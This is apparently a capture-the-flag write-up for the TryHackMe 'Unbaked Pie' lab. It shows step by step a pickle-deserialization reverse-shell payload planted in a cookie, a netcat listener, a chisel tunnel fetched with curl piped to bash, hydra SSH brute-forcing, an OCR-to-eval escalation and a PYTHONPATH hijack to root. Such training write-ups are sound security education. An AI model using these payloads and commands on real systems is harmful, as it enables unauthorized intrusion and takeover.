TryHackMe Unbaked Pie Writeup
This guide will help you solve the Unbaked box on TryHackMe. Before we start enumerating the box, add the following line to your /etc/hosts
file.
<BOX_IP> unbaked.thm
TryHackMe Unbaked – Enumeration
As per usual, we start by checking open ports. For this we use a tool called nmap
. Run the following command:
nmap -sV -sC -Pn unbaked.thm
The sV
flag is added to find version information. The sC
flag is added to execute some common scripts against the target. The Pn
flag is added to treat all hosts as online. The box did not respond to a scan without this flag included. Including the flag treats the ports differently and in the end gave a result. The output of the scan can be seen below:
PORT STATE SERVICE VERSION 5003/tcp open filemaker? | fingerprint-strings: | GetRequest: | HTTP/1.1 200 OK | Date: Wed, 09 Dec 2020 17:55:06 GMT | Server: WSGIServer/0.2 CPython/3.8.6 | Content-Type: text/html; charset=utf-8 | X-Frame-Options: DENY | Vary: Cookie | Content-Length: 7453 | X-Content-Type-Options: nosniff | Referrer-Policy: same-origin | Set-Cookie: csrftoken=gPAoyQRTAuKInGmUiWrl8DU5OwjGM1X3BJ2ht4Nm5FBy1sgB9UqgtykZRd1l9Hdi; expires=Wed, 08 Dec 2021 17:55:06 GMT; Max-Age=31449600; Path=/; SameSite=Lax | HTTPOptions: | HTTP/1.1 200 OK | Date: Wed, 09 Dec 2020 17:55:06 GMT | Server: WSGIServer/0.2 CPython/3.8.6 | Content-Type: text/html; charset=utf-8 | X-Frame-Options: DENY | Vary: Cookie | Content-Length: 7453 | X-Content-Type-Options: nosniff | Referrer-Policy: same-origin | Set-Cookie: csrftoken=WwF4T8PagMDCj10pUQ6W5ICAOR0qaQ054T7KWtfgP8NXsB58GL51u1XIQYdVvZkt; expires=Wed, 08 Dec 2021 17:55:06 GMT; Max-Age=31449600; Path=/; SameSite=Lax
There is one web service running on port 5003. Let’s check this service out!
TryHackMe Unbaked Pie – Enumeration Web Server
It seems like there is a single web service running on port 5003. Browse to http://unbaked.thm:5003
to find the following page:

There is a search input in which we can add some text. After providing a query some results are returned (mostly pies).

TryHackMe Unbaked Pie – Initial Foothold
If we check our cookies, we see that a search_cookie
is filled with a Base64 value: gASVBwAAAAAAAACMA3BpZZQu
. Decoding this using Cyberchef returns the following snippet: .............pie..
. One of the tags of this box was pickle
. Pickle is a tool in Python to serialize objects. The cookie could be serialized using a pickle
serialization. Let’s check this out. The following scripts decodes the Base64 value and deserializes the value.
import base64 import pickle encoded_string = "gASVBwAAAAAAAACMA3BpZZQu" decoded_string = base64.b64decode(encoded_string) obz = pickle.loads(decoded_string) print(obz)
Running this script: python3 script.py
returns: pie
. Just as we thought, this was the query we provided to the search input field. The next thing I discovered was by accident. I refreshed the search page and came to the conclusion that the server was running in developer mode. This made some parts of the source code publicly visible. I found the following snippet:
encoded_cookie = base64.b64encode(pickle.dumps(query)) #dumps pickle encoded_cookie = encoded_cookie.decode("utf-8") if query: results = Article.objects.filter(Q(title__icontains=query)|Q(body__icontains=query)) else: results = Article.objects.all() context = { 'results':results, … } html = render(request, 'homepage/search.html', context) html.set_cookie('search_cookie', encoded_cookie) return html
Here we can see that the cookie is indeed base64
encoded and pickle
is used to serialize the query. We might be able to run some Python code using this cookie. Let’s craft a cookie which contains this reverse shell. I stumbled upon the following link which contains a Python class on how to create a reverse shell payload for pickle
. The code is as follows:
import pickle import base64 import os class RCE: def __reduce__(self): cmd = ('rm /tmp/f; mkfifo /tmp/f; cat /tmp/f|/bin/sh -i 2>&1 | nc 127.0.0.1 1234 > /tmp/f') return os.system, (cmd,) if __name__ == '__main__': pickled = pickle.dumps(RCE()) print(base64.urlsafe_b64encode(pickled))
Change 127.0.0.1
to the IP address of your attack box and save the file. Run the file to craft the payload. Intercept the search request using Burp Suite and change the value for the search_cookie
to the value returned from the payload script. Consecutively, start a local netcat listener:
nc -lvnp 1234
The last step is to forward the request in Burp. Check your netcat terminal. It should display the following lines now:
/bin/sh: 0: can't access tty; job control turned off #
Awesome! We spawned a shell. Let’s improve our shell by running the following commands:
python3 -c 'import pty;pty.spawn("/bin/bash")' export TERM=xterm-256color CTRL+Z stty raw -echo;fg ENTER ENTER
Note: the capitalized words are no commands but keyboard combinations you have to provide.
It seems we are root
. Was it that easy?
TryHackMe Unbaked Pie – Network enumeration
Since we are the root
user of this system, we can try to read the .bash_history
file. The content is as follows:
nc exit ifconfig ip addr ssh 172.17.0.1 ssh 172.17.0.2 exit ssh [email protected] exit
Here we can see that there is another system. It seems like ramsey
is able to log into this system using SSH. Since the SSH client is not installed on this server and we are not able to simply guess the password, we will create a tunnel in order to log into this server using SSH. This tunnel will be made using chisel. Get chisel
on your local machine by running:
curl https://i.jpillora.com/chisel! | bash
Run the following command on the attacking machine in order to start the chisel
server:
python3 -m http.server in a new terminal run: ./chisel server -p 2211 --reverse
then on the host machine run:
curl http://<attack_machine>:8000/chisel -o chisel chmod +x chisel ./chisel client <attack_machine&;gt:2211 R:1337:172.17.0.1:22
You should now have created a tunneling between the SSH server on the new host machine and your attacking machine.
TryHackMe Unbaked Pie – User Flag
The next thing we try is brute-forcing the ramsey
user using rockyou.txt
. Run the following command:
hydra -s 1337 -l ramsey -P /usr/share/wordlists/rockyou.txt localhost ssh
After a short moment, you should acquire the password for the ramsey
user. Log into the server using SSH:
ssh -p 1337 ramsey@localhost
Provide the password you just found and then you should see the following in your terminal:
Welcome to Ubuntu 16.04.7 LTS (GNU/Linux 4.4.0-186-generic x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/advantage 39 packages can be updated. 26 updates are security updates. Last login: Fri Dec 11 06:01:28 2020 from 172.17.0.2
And we are in! The user flag is located at: /home/ramsey/user.txt
.
TryHackMe Unbaked Pie – Escalate to Oliver User
The last step is finding the root
flag. Run sudo -l
and provide the password of ramsey
. You should now see the following snippet:
Matching Defaults entries for ramsey on unbaked: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin User ramsey may run the following commands on unbaked: (oliver) /usr/bin/python /home/ramsey/vuln.py
This means that we can run the /home/ramsey/vuln.py
file as oliver
. We are able to read this file as well. Run cat /home/ramsey/vuln.py
to view the source code. The interesting lines in this file are:
LISTED = pytesseract.image_to_string(Image.open('payload.png')) TOTAL = eval(LISTED)
pytesseract
is a libary used to interpret characters from an image. This value is later ran by the eval
function. Which means that our payload can be run as well. Let’s find an image containing: os.system('/bin/bash')
. I created the following image:

Save this file to your attacking machine and run the Python web server again using the following command:
python3 -m http.server
As ramsey
Get the image using:
cd /home/ramsey wget http://<ATTACKING_IP>:8000/shell.png mv shell.png payload.png
Run the script using:
sudo -u oliver /usr/bin/python /home/ramsey/vuln.py
Provide a 2
and you should see the following happening to your terminal:
Waiting to extract... [■■■■■■■■■■]oliver@unbaked:~$
And there we have it. We just imported a payload using an image and now elevated ourselves to the oliver
user!
Last step is to find the root
flag.
TryHackMe Unbaked Pie – Escalate to Oliver User
Running sudo -l
gives us:
Matching Defaults entries for oliver on unbaked: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin User oliver may run the following commands on unbaked: (root) SETENV: NOPASSWD: /usr/bin/python /opt/dockerScript.py
It seems like we are able to run /opt/dockerScript.py
as the root
user. Let’s examine this file by running: cat /opt/dockerScript.py
. The code inside the file is:
import docker # oliver, make sure to restart docker if it crashes or anything happened. # i havent setup swap memory for it # it is still in development, please dont let it live yet!!! client = docker.from_env() client.containers.run("python-django:latest", "sleep infinity", detach=True)
Docker is imported which we can abuse. Create a docker.py
file inside the /home/oliver
directory. The content should be:
import os os.system("/bin/bash")
Run the following command to directly get access to the root
user:
sudo PYTHONPATH=/home/oliver /usr/bin/python /opt/dockerScript.py
The root
flag is located at: /root/root.txt
.
This was a fun box to root. You should be careful to reveal valuable information. Even serialized pickle strings can be abused to gain access to a system. Furthermore, it was a nice escalation to import the payload using an image.